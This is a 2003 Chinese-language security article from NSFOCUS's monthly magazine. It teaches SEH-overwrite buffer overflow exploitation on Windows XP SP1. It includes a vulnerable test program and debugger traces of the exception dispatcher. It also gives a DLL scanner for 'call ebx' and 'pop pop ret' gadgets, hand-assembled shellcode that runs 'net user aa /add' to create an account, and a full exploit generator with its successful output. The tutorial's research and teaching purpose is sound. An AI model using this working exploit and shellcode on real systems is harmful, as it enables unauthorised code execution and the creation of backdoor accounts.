首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第39期->技术专题
作者:Nanika <minjack.tw@yahoo.com.tw>
出处:http://www.nsfocus.com
日期:2003-03-03
测试系统
WindowsXP_SP1
测试工具
Visual C++ 6.0
WDASM
Ultraedit
Softice
一、 前言
暂存区溢位,这个名词对于研究系统安全方面的人来说,一定不陌生,也有许多人写出利用方法,但大多数的人还是比较了解覆写EIP值后返回到DLL函数中的Jmp ESP 并且当时的ESP刚好在Shellcode的地址上,Jmp ESP就刚刚好可以定位,使得我们不但可以改变程序原来的流程,且可以转入我们所设计的Shellcode,但其实还有别的办法来改变流程,例如堆栈中保存的函数返回地址、预设异常处理指标UnhandleExceptionFilter、线程相关的异常处理fs:[0]。而我在研究CodeRed病毒时,发现此病毒利用暂存区溢位,是覆写到Exception Handle也就是Fs:[0],当处理Windows正准备处理异常的时候,EBX刚好指向当前的异常结构,所以可以利用返回DLL函数中的Call EBX就可以定位Shellcode,
但是我在WINDOWSXP_SP1下却没办法使用Call EBX来定位,这引起了我的兴趣,进而写了这篇,程序都是我自己写出来测试除错的,很可能有许多的错误,或是想法上的错误,如有错误,敬请指正。
二、 线程异常处理结构
通常每个线程初始化都准备好执行时fs指向一个TIB结构(Thread Imformation Block)在winnt.h和ntddk.h中﹐我们可以找到TIB结构的定义﹕
//
// NT_TIB - Thread Information Block - Portable part.
//
// This is the subsystem portable part of the Thread Information Block.
// It appears as the first part of the TEB for all threads which have
// a user mode component.
//
//
// begin_winnt
typedef struct _NT_TIB {
struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
PVOID StackBase;
PVOID StackLimit;
PVOID SubSystemTib;
union {
PVOID FiberData;
ULONG Version;
};
PVOID ArbitraryUserPointer;
struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;
//
第一个member就是_EXCEPTION_REGISTRATION_RECORD指针,_EXCEPTION_REGISTRATION_RECORD结构又包括两个指针﹕第一个指针(从地址fs﹕[00000000]取得)指向前一个_EXCEPTION_REGISTRATION_RECORD结构﹐而前一个_EXCEPTION_REGISTRATION_RECORD结构的第一个指针又指向更前一个_EXCEPTION_REGISTRATION_RECORD结构﹐这样所有的_EXCEPTION_REGISTRATION_RECORD 就形成了一个链(link)。
如果还不懂,可以看下面的图
fs:[0]->
_EXCEPTION_REGISTRATION struc
prev dd ? ;前一个_EXCEPTION_REGISTRATION结构
handler dd ? ;异常处理入口
_EXCEPTION_REGISTRATION ends
把handler域换成你的程序入口,就可以在发生异常时调用你的程序了
而我们这次就需要覆写到handle异常处理入口
三、范例程序
我们写一个程序来实际的操作一下
#include <stdio.h>
int main()
{
char buffer[16]="";
FILE *fd=NULL;
fd = fopen("files.txt","rb");
if(fd == NULL)
return printf("不能开启files.txt檔,请确定\n");
fgets(buffer,1000,fd);
return 0;
}
这一个范例一看就知道了,有了明显的暂存区溢位,buffer只有16,但却可以读入1000个字符,此种溢位当然可以直接覆写EIP地址改写成Jmp ESP使用ESP来定位,但这就不在我们的范围之内,并且有很多的文章都是有关这种利用方法。
我们继续下去
我们把这个程序使用Release模式来编译
然后,把它反组译一下,得到如下的程序
:0040112B 55 push ebp
:0040112C 8BEC mov ebp, esp
:0040112E 6AFF push FFFFFFFF
:00401130 68B0604000 push 004060B0
:00401135 6840284000 push 00402840--这里就是异常处理入口
:0040113A 64A100000000 mov eax, dword ptr fs:[00000000]-这是前一个异常处理结构
:00401140 50 push eax
:00401141 64892500000000 mov dword ptr fs:[00000000], esp---将FS:[0]指向新的异常结构
:00401148 83EC10 sub esp, 00000010
:0040114B 53 push ebx
:0040114C 56 push esi
:0040114D 57 push edi
:0040114E 8965E8 mov dword ptr [ebp-18], esp
显然我们要覆写的目标就在push 00402840异常处理入口,我们要将此处改写成Call EBX就可以来定位Shellcode了
就来实际测试一下,我们创立一个文字文件然后里面放入20个a字符,然后利用WDASM来除错,断点设在004011da,F2设断点
:004011DA E821FEFFFF call 00401000-会押入下一个程序004011df地址然后再jmp 00401000
:004011DF 83C40C add esp, 0000000C
:004011E2 8945E4 mov dword ptr [ebp-1C], eax
:004011E5 50 push eax
我们按下f7跟进去004011da
:00401000 83EC10 sub esp, 00000010
:00401003 A0F0784000 mov al, byte ptr [004078F0]
:00401008 33C9 xor ecx, ecx
:0040100A 894C2401 mov dword ptr [esp+01], ecx
* Possible StringData Ref from Data Obj ->"rb"
|
:0040100E 6858704000 push 00407058
:00401013 894C2409 mov dword ptr [esp+09], ecx
* Possible StringData Ref from Data Obj ->"files.txt"
|
:00401017 684C704000 push 0040704C
:0040101C 894C2411 mov dword ptr [esp+11], ecx
:00401020 88442408 mov byte ptr [esp+08], al
:00401024 66894C2415 mov word ptr [esp+15], cx
:00401029 884C2417 mov byte ptr [esp+17], cl
:0040102D E8E6000000 call 00401118
:00401032 83C408 add esp, 00000008
:00401035 85C0 test eax, eax
:00401037 7511 jne 0040104A
* Possible StringData Ref from Data Obj ->"不能开启files.txt檔,请确定
"
|
:00401039 6830704000 push 00407030
:0040103E E884000000 call 004010C7
:00401043 83C404 add esp, 00000004
:00401046 83C410 add esp, 00000010
:00401049 C3 ret
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401037(C)
|
:0040104A 50 push eax
:0040104B 8D542404 lea edx, dword ptr [esp+04]
:0040104F 68E8030000 push 000003E8
:00401054 52 push edx
:00401055 E816000000 call 00401070--此处就是暂存区押入堆栈的地方
:0040105A 83C40C add esp, 0000000C
:0040105D 33C0 xor eax, eax
:0040105F 83C410 add esp, 00000010
:00401062 C3 ret
覆盖之前堆栈中的内容
call 00401070 押入堆栈之后
注意到了没?原来的返回地址004011df地址已经覆写成61616161
所以我们返回后是EIP 61616161这个地址,所以产生错误
对了,我们这次的利用方法是要利用Fs:[0]所以需要找一下在堆栈的那个部分,然后继续覆盖过去
四、利用方法
esp = 0012ff68+4c=0012ffb4---这个地址就是我们所要覆写的地址00402840异常处理入口,我们建立一个文字文件,内有68个字符就可以覆盖到异常入口地址,也就是在此处填入call ebx就可以跳到上一个结构,也就是在0012ffb0的这个地址,至于要如何填入call ebx呢?我们就使用返回至DLL函数中的地址,但必须是要此漏洞程序加载后的,我们的这个程序写得很简单,所以也只有Kernel32.dll加载,所以从这里面寻找FF D3我们从JASON先生的文章中所写的程序来寻找
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm call ebx
#else
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0xff && ptr[y+1] == 0xd3)
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}
我们把程序编译好,执行后,
C:\>callebx kernel32
OPCODE found at 0x77e426ba
OPCODE found at 0x77e42d94
OPCODE found at 0x77e42eac
OPCODE found at 0x77e439ad
OPCODE found at 0x77e43be2
………………………………….太多了
END OF kernel32 MEMORY REACHED
在Kernel32中找到许多call ebx的地址
我们把这个地址填入文字文件中,也就是要覆写0012ffb4堆栈中的内容,改写成
77e426ba,当然押入需要填入的内容是ba26e477,我们就来测试一下,是否ebx就可以定位,当我们返回61616161之后当然会出现错误,然后程序就跳入
.text:77FB4DAF public KiUserExceptionDispatcher
.text:77FB4DAF KiUserExceptionDispatcher proc near
.text:77FB4DAF
.text:77FB4DAF var_14 = dword ptr -14h
.text:77FB4DAF var_10 = dword ptr -10h
.text:77FB4DAF var_C = dword ptr -0Ch
.text:77FB4DAF var_4 = dword ptr -4
.text:77FB4DAF arg_0 = dword ptr 4
.text:77FB4DAF
.text:77FB4DAF mov ecx, [esp+arg_0]
.text:77FB4DB3 mov ebx, [esp+0]
.text:77FB4DB6 push ecx
.text:77FB4DB7 push ebx
.text:77FB4DB8 call sub_0_77F60B69 ---我们继续跟进去
.text:77FB4DBD or al, al
.text:77FB4DBF jz short loc_0_77FB4DCD
.text:77FB4DC1 pop ebx
.text:77FB4DC2 pop ecx
.text:77FB4DC3 push 0
.text:77FB4DC5 push ecx
.text:77FB4DC6 call ZwContinue
.text:77FB4DCB jmp short loc_0_77FB4DD8
程序来到
.text:77F60B69 ; Attributes: bp-based frame
.text:77F60B69
.text:77F60B69 sub_0_77F60B69 proc near ; CODE XREF: KiUserExceptionDispatcher+9 p
.text:77F60B69
.text:77F60B69 var_10 = byte ptr -10h
.text:77F60B69 var_8 = dword ptr -8
.text:77F60B69 var_4 = dword ptr -4
.text:77F60B69 arg_0 = dword ptr 8
.text:77F60B69 arg_4 = dword ptr 0Ch
.text:77F60B69
.text:77F60B69 push ebp
.text:77F60B6A mov ebp, esp
.text:77F60B6C sub esp, 60h
.text:77F60B6F push esi
.text:77F60B70 push [ebp+arg_4]
.text:77F60B73 mov esi, [ebp+arg_0]
.text:77F60B76 push esi
.text:77F60B77 call sub_0_77F60C26
.text:77F60B7C test al, al
.text:77F60B7E jnz loc_0_77F87B6F
.text:77F60B84 push ebx
.text:77F60B85 push edi
.text:77F60B86 lea eax, [ebp+var_8]
.text:77F60B89 push eax
.text:77F60B8A lea eax, [ebp+var_4]
.text:77F60B8D push eax
.text:77F60B8E call sub_0_77F79CCF
.text:77F60B93 call sub_0_77F79CEA
.text:77F60B98 and [ebp+arg_0], 0
.text:77F60B9C mov ebx, eax
.text:77F60B9E
.text:77F60B9E loc_0_77F60B9E: ; CODE XREF: sub_0_77F60B69+B8 j
.text:77F60B9E cmp ebx, 0FFFFFFFFh
.text:77F60BA1 jz loc_0_77F727F1
.text:77F60BA7 cmp ebx, [ebp+var_4]
.text:77F60BAA jb loc_0_77F727F8
.text:77F60BB0 lea eax, [ebx+8]
.text:77F60BB3 cmp eax, [ebp+var_8]
.text:77F60BB6 ja loc_0_77F727F8
.text:77F60BBC test bl, 3
.text:77F60BBF jnz loc_0_77F727F8
.text:77F60BC5 mov eax, [ebx+4]
.text:77F60BC8 cmp eax, [ebp+var_4]
.text:77F60BCB jb short loc_0_77F60BD6
.text:77F60BCD cmp eax, [ebp+var_8]
.text:77F60BD0 jb loc_0_77F727F8
.text:77F60BD6
.text:77F60BD6 loc_0_77F60BD6: ; CODE XREF: sub_0_77F60B69+62 j
.text:77F60BD6 test byte_0_77FC324A, 80h
.text:77F60BDD jnz loc_0_77F87B76
.text:77F60BE3
.text:77F60BE3 loc_0_77F60BE3: ; CODE XREF: .text:77F87B87 j
.text:77F60BE3 push dword ptr [ebx+4]
.text:77F60BE6 lea eax, [ebp+var_10]
.text:77F60BE9 push eax
.text:77F60BEA push [ebp+arg_4]
.text:77F60BED push ebx
.text:77F60BEE push esi
.text:77F60BEF call sub_0_77F79B46 ---我们跟进去此处
.text:77F60BF4 test byte_0_77FC324A, 80h
.text:77F60BFB mov edi, eax
.text:77F60BFD jnz loc_0_77F87B8C
.text:77F60C03
.text:77F60C03 loc_0_77F60C03: ; CODE XREF: .text:77F87B95 j
.text:77F60C03 cmp [ebp+arg_0], ebx
.text:77F60C06 jz loc_0_77F87B9A
.text:77F60C0C
.text:77F60C0C loc_0_77F60C0C: ; CODE XREF: .text:77F87BA2 j
.text:77F60C0C mov eax, edi
.text:77F60C0E xor ecx, ecx
.text:77F60C10 sub eax, ecx
.text:77F60C12 jz loc_0_77F74056
.text:77F60C18 dec eax
.text:77F60C19 jnz loc_0_77F87BA7
.text:77F60C1F
.text:77F60C1F loc_0_77F60C1F: ; CODE XREF: .text:77F87BBD j
.text:77F60C1F ; .text:77F87BC6 j ...
.text:77F60C1F mov ebx, [ebx]
.text:77F60C21 jmp loc_0_77F60B9E
.text:77F60C21 sub_0_77F60B69 endp
程序来到
.text:77F79B46 sub_0_77F79B46 proc near ; CODE XREF: sub_0_77F60B69+86 p
.text:77F79B46 mov edx, offset loc_0_77F79BB8
.text:77F79B4B jmp short loc_0_77F79B54 ---继续跟进
.text:77F79B4B sub_0_77F79B46 endp
程序来到
.text:77F79B4D _RtlpExecuteHandlerForUnwind@20 proc near ; CODE XREF:
RtlUnwind(x,x,x,x)+BD p
.text:77F79B4D sub_0_77F79B4D proc near ; CODE XREF: RtlUnwind+BD p
.text:77F79B4D
.text:77F79B4D arg_0 = dword ptr 4
.text:77F79B4D arg_4 = dword ptr 8
.text:77F79B4D arg_8 = dword ptr 0Ch
.text:77F79B4D arg_C = dword ptr 10h
.text:77F79B4D arg_10 = dword ptr 14h
.text:77F79B4D
.text:77F79B4D mov edx, offset loc_0_77F79BDF
.text:77F79B52 lea ecx, [ecx]
.text:77F79B54
.text:77F79B54 loc_0_77F79B54: ; CODE XREF: sub_0_77F79B46+5 j
.text:77F79B54 ExecuteHandler@20: ; CODE XREF:
RtlpExecuteHandlerForException(x,x,x,x,x)+5 j
.text:77F79B54 push ebx
.text:77F79B55 push esi
.text:77F79B56 push edi
.text:77F79B57 xor eax, eax
.text:77F79B59 xor ebx, ebx
.text:77F79B5B xor esi, esi
.text:77F79B5D xor edi, edi
.text:77F79B5F push [esp+0Ch+arg_10]
.text:77F79B63 push [esp+10h+arg_C]
.text:77F79B67 push [esp+14h+arg_8]
.text:77F79B6B push [esp+18h+arg_4]
.text:77F79B6F push [esp+1Ch+arg_0]
.text:77F79B73 call sub_0_77F79B7E-------继续跟进
.text:77F79B78 pop edi
.text:77F79B79 pop esi
.text:77F79B7A pop ebx
.text:77F79B7B retn 14h
.text:77F79B7B sub_0_77F79B4D endp
.text:77F79B7B
.text:77F79B7B _RtlpExecuteHandlerForUnwind@20 endp
最后来到此处
.text:77F79B7E ; Attributes: bp-based frame
.text:77F79B7E
.text:77F79B7E sub_0_77F79B7E proc near ; CODE XREF: sub_0_77F79B4D+26 p
.text:77F79B7E
.text:77F79B7E arg_0 = dword ptr 8
.text:77F79B7E arg_4 = dword ptr 0Ch
.text:77F79B7E arg_8 = dword ptr 10h
.text:77F79B7E arg_C = dword ptr 14h
.text:77F79B7E arg_10 = dword ptr 18h
.text:77F79B7E
.text:77F79B7E push ebp
.text:77F79B7F mov ebp, esp
.text:77F79B81 push [ebp+arg_4]
.text:77F79B84 push edx
.text:77F79B85 push large dword ptr fs:0
.text:77F79B8C mov large fs:0, esp
.text:77F79B93 push [ebp+arg_C]
.text:77F79B96 push [ebp+arg_8]
.text:77F79B99 push [ebp+arg_4]
.text:77F79B9C push [ebp+arg_0]
.text:77F79B9F mov ecx, [ebp+arg_10]
.text:77F79BA2 call ecx --此处就是我们覆写为Kernel32 .dll 中的call ebx的地址
.text:77F79BA4 mov esp, large fs:0
.text:77F79BAB pop large dword ptr fs:0
.text:77F79BB2 mov esp, ebp
.text:77F79BB4 pop ebp
.text:77F79BB5 retn 14h
.text:77F79BB5 sub_0_77F79B7E endp
.text:77F79BB5
注意到图片中的ECX中的值这里就是刚刚的call ebx的地址
但是各位有没有发现在此处EBX并没有指向当前异常处理结构,他竟然是0,这个结果真的让我很讶异,这样改写为call ebx也只会又产生错误,这样根本就不可以执行到我们的shellcode
我们继续测试下去
跟进去刚刚call ecx
果然真的没有办法指向当前异常处理结构
我一直在这边绕了很久,为什么XP下没有办法使用EBX定位呢?
应该要就此放弃吗?
当然不!我在想既然返回地址EBX如果不行,一定还有别的办法来解决定位的问题
五、另一种定位方法
我仔细的看一下堆栈中的内容,发现了,解决的办法了!
由上一个图可以看到堆栈里面其实还是有;当前异常处理的前一个地址在里面,就是0012ffb0,那我要如何跳到此处呢?我使用了一个办法我在dll中寻找两次pop取出堆栈数据,然后再一个ret就可以返回到0012ffb0当前异常处理结构的前一个地址,就可以用来定位。
我随意的使用
Pop edi
pop esi
ret
然后改写了搜索DLL的程序
如下
CWinApp theApp;
using namespace std;
int _tmain(int argc, TCHAR* argv[], TCHAR* envp[])
{
int nRetCode = 0;
// initialize MFC and print and error on failure
if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
{
// TODO: change error code to suit your needs
cerr << _T("Fatal Error: MFC initialization failed") << endl;
nRetCode = 1;
}
else
{
#if 0
return 0;
__asm pop di
pop si
ret
#else
bool we_loaded_it = false;
HINSTANCE h;
TCHAR dllname[] = _T("User32");
if(argc>1) {
strcpy(dllname,argv[1]);
}
h = GetModuleHandle(dllname);
if(h == NULL)
{
h = LoadLibrary(dllname);
if(h == NULL)
{
cout<<"ERROR LOADING DLL: "<<dllname<<endl;
return 1;
}
we_loaded_it = true;
}
BYTE* ptr = (BYTE*)h;
bool done = false;
for(int y = 0;!done;y++)
{
try
{
if(ptr[y] == 0x5f && ptr[y+1] == 0x5e && ptr[y+2] == 0xc3)//重要的更改部分
{
int pos = (int)ptr + y;
cout<<"OPCODE found at 0x"<<hex<<pos<<endl;
}
}
catch(...)
{
cout<<"END OF "<<dllname<<" MEMORY REACHED"<<endl;
done = true;
}
}
if(we_loaded_it) FreeLibrary(h);
#endif
}
return nRetCode;
}
然后编译后,执行寻找此利用处的地址,我在Kernel32中找到了0x77e5633a这个地址,然后建立一个文字文件
然后我们就来测试一下
就跟上面叙述的方法一样,我们跟踪到.text:77F79BA2 call ecx的地方
然后跟进去
当pop两次之后,就可以返回到,当前异常处理结构中前一个地址了,也就是0012ffb0的地方,也就是ret之后,就跳到0012ffb0的地方来执行程序代码,我们终于成功了,可以定位shellcode了。
六、简单的Shellcode
很多人都说,溢出的利用方法很容易理解,但是难点在于shellcode的编写,
我自己也觉得,写shellcode真的蛮麻烦的,现在就把我学习的一些些经验,跟大家叙述一下,
既然是shellcode也就必须要了解最低阶的汇编,在win下api函数的呼叫方式,
比如说对一个Windows API 如 MessageBox﹐在手册中是如此定义的﹕
int MessageBox(
HWND hWnd, // handle of owner window
LPCTSTR lpText, // address of text in message box
LPCTSTR lpCaption, // address of title of message box
UINT uType // style of message box
);
那么在汇编中就可以这样调用它﹕
push uType
push lpCaption
push lpText
push hWnd
call MessageBox
这样有一些概念了吧!
当我们呼叫api函数时,是先参数押入堆栈中,然后呼叫此api在DLL函数中的地址。
可是我们有漏洞的程序中,因为写的很简单,只有加载了,kernel32此DLL,但是我们如果要写复杂的Shellcode,势必需要从kernel32中暴力求取LoadLibraryA、GetProcAddress,但是、我们的堆栈中的地址,太小了,buffer也只有16,再加上覆盖到异常结构的地址中间的差额,也不够来写一个复杂的shellcode,所以,我们只能利用kernel32本身中的API函数,在寻找api函数中,找到了一个winexec的函数,
UINT WinExec(
LPCSTR lpCmdLine, // address of command line
UINT uCmdShow // window style for new application
);
此函数可以让我们来执行一个cmd.exe
现在就来测试一下
_shellcode:
00421A30 68 C1 15 35 09 push 93515C1h
00421A35 81 2C 24 80 D1 F0 08 sub dword ptr [esp],8F0D180h
00421A3C 68 61 61 20 2F push 2F206161h
00421A41 68 73 65 72 20 push 20726573h
00421A46 68 65 74 20 75 push 75207465h
00421A4B 68 2F 6B 20 6E push 6E206B2Fh
00421A50 68 63 6D 64 20 push 20646D63h
00421A55 8B C4 mov eax,esp
00421A57 6A 01 push 1
00421A59 50 push eax
00421A5A B8 35 FD E4 77 mov eax,77E4FD35h
00421A5F FF D0 call eax
前面的两行为
push 93515c1h
sub dword ptr [esp],8F0D180h
这是为了建构一个结束字符00所以使用此方法
执行后堆栈内为ADD.也就是41 44 44 00
然后为
0012FF70 63 6D 64 20 cmd
0012FF74 2F 6B 20 6E /k n
0012FF78 65 74 20 75 et u
0012FF7C 73 65 72 20 ser
0012FF80 61 61 20 2F aa /
0012FF84 41 44 44 00 ADD.
有没有看起来很熟悉
我们所押入的参数就是cmd /k net user aa /add
大家应该知道这个指令吧!
建立一个使用者为aa
然后为
mov eax,esp
将esp的地址mov到eax
也就是把eax指向0012ff70 cmd的地址
00421A57 6A 01 push 1
现在开始押入参数,由右往左依序押入
00421A59 50 push eax
押入刚刚的命令行参数地址
00421A5A B8 35 FD E4 77 mov eax,77E4FD35h
这里就是winexec的地址77e4fd35
每一个版本,此地址都有可能不一样,如果你要自己寻找,可以使用softice,或是利用,dumpbin指令来取得,把kernel32 dump出来函数地址,再加上kernel32基址的地址,就可以了
00421A5F FF D0 call eax
最后call eax就是呼叫api函数
执行后我们net user看看
C:\>net user
\\Student 的使用者账户
-------------------------------------------------------------------------------
Administrator Guest Nanika
aa
命令执行成功。
成功的写出了一个简单的shellcode了吧!
另外因为我们的程序发生了异常,所以执行完我们的shellcode后并不会结束,而是陷入了无穷循环,所以我们必须要把异常结构恢复,但很麻烦,所以我利用一个简单的办法,就是呼叫ExitProcess,来结束我们的行程
VOID ExitProcess(
UINT uExitCode // exit code for all threads
);
这里实现API呼叫比较简单只需要call ExitProcess的api函数地址就可以了
我们使用
mov eax 77e598fd
call eax
就可以完成结束行程
七、实现过程
现在我们必须要建立一个文字文件,并且加入我们的shellcode在当中
,我们要加入到哪里呢?这又引发了一个问题,我们两次pop然后ret是在当前异常处理结构前一个地址,0012ffb0中,但是我们的下一个地址0012ffb4,是我们覆盖为dll中的两次pop、ret 的地址,所以我们必须要把异常处理的前一个地址加入为
eb 06 90 90使用此值来覆盖,这也就是jmp 06就是跳过0012ffb4的地址,然后到达,0012ffb8的地址,就从这里来写入shellcode来完成我们的攻击。
漏洞利用程序
#include <stdio.h>
int main()
{
int i;
char buffer[127]="";
unsigned char shellcode[]=
"\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08"
"\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e"
"\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0";
FILE *fd=NULL;
fd = fopen("files.txt","w+");
for(i=0;i<sizeof(buffer);) //先把堆栈填满90也就是nop
{
buffer[i++]=0x90;
}
*(unsigned int *)&buffer[60]=0x909006eb; //前一个异常处理结构的地址改写成jmp 06
*(unsigned int *)&buffer[64]=0x77e5633a; //异常处理入口改写成DLL函数库中的两次pop ret
memcpy(&buffer[sizeof(buffer)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buffer[sizeof(buffer)-1]=0;
fprintf(fd,"%s",buffer);
fclose(fd);
return 0;
}
此程序建立了一个文字文件files.txt
八、漏洞利用成果
我们把有漏洞的程序和利用程序所建构出来的文字文件放入,然后执行有漏洞的程序,就会发现了,我们成功的改变了程序的流程,转入我们的shellcode,开了一个cmd窗口并且加入了账号aa
命令执行成功。
C:\Documents and Settings\Nanika\桌面\Release>net user
\\Student 的使用者账户
-------------------------------------------------------------------------------
aa Administrator Nanika 命令执行成功。
C:\Documents and Settings\Nanika\桌面\Release>
九、结论
这次的漏洞利用,再度展现了,暂存区溢位的严重性,且不只有一种方法来转入我们所建构的恶意程序,只要我们可以从漏洞程序所加载的DLL中寻找到可以利用的机器码,就可以使用返回DLL中的程序来达到我们定位的功能,此次漏洞的利用,我还没有在别的系统上测试过,可能在别的系统上,不能通用两次pop、 ret,而多线程的程序,可能也不能够通用,但重点是在于对漏洞的调试过程和如何定位的研究,了解系统安全,必须要先了解系统,在LINUX下因为开放原始码,使得人人都比较容易了解内部核心和架构,但在WIN下就不同了,除了等M$发布一些技术文章外,就只能等高手来研究核心后,在网络上发表了,虽然核心这种底层的东西,并不需要人人都能够了解,但了解后就可以对写程序上,增加了许多解决的办法。
参考文献
http://msdn.microsoft.com/
http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
第五章 Exploit Microsoft INTERNET INFORMATION SERVER
作者:莫大 master_moda@yahoo.com
http://www.finalseraph.org/hume/asmdata/SEHinASM.htm
SEH in ASM 研究
By Hume/冷雨飘心
http://0xc0ffee.com/papers/buffer_overflow/Jason's%20Buffer%20Windows%20NT%20Overflow%20Paper.htm
Windows NT Buffer Overflow's From Start to Finish
jason_jordan@omron.com
版权所有,未经许可,不得转载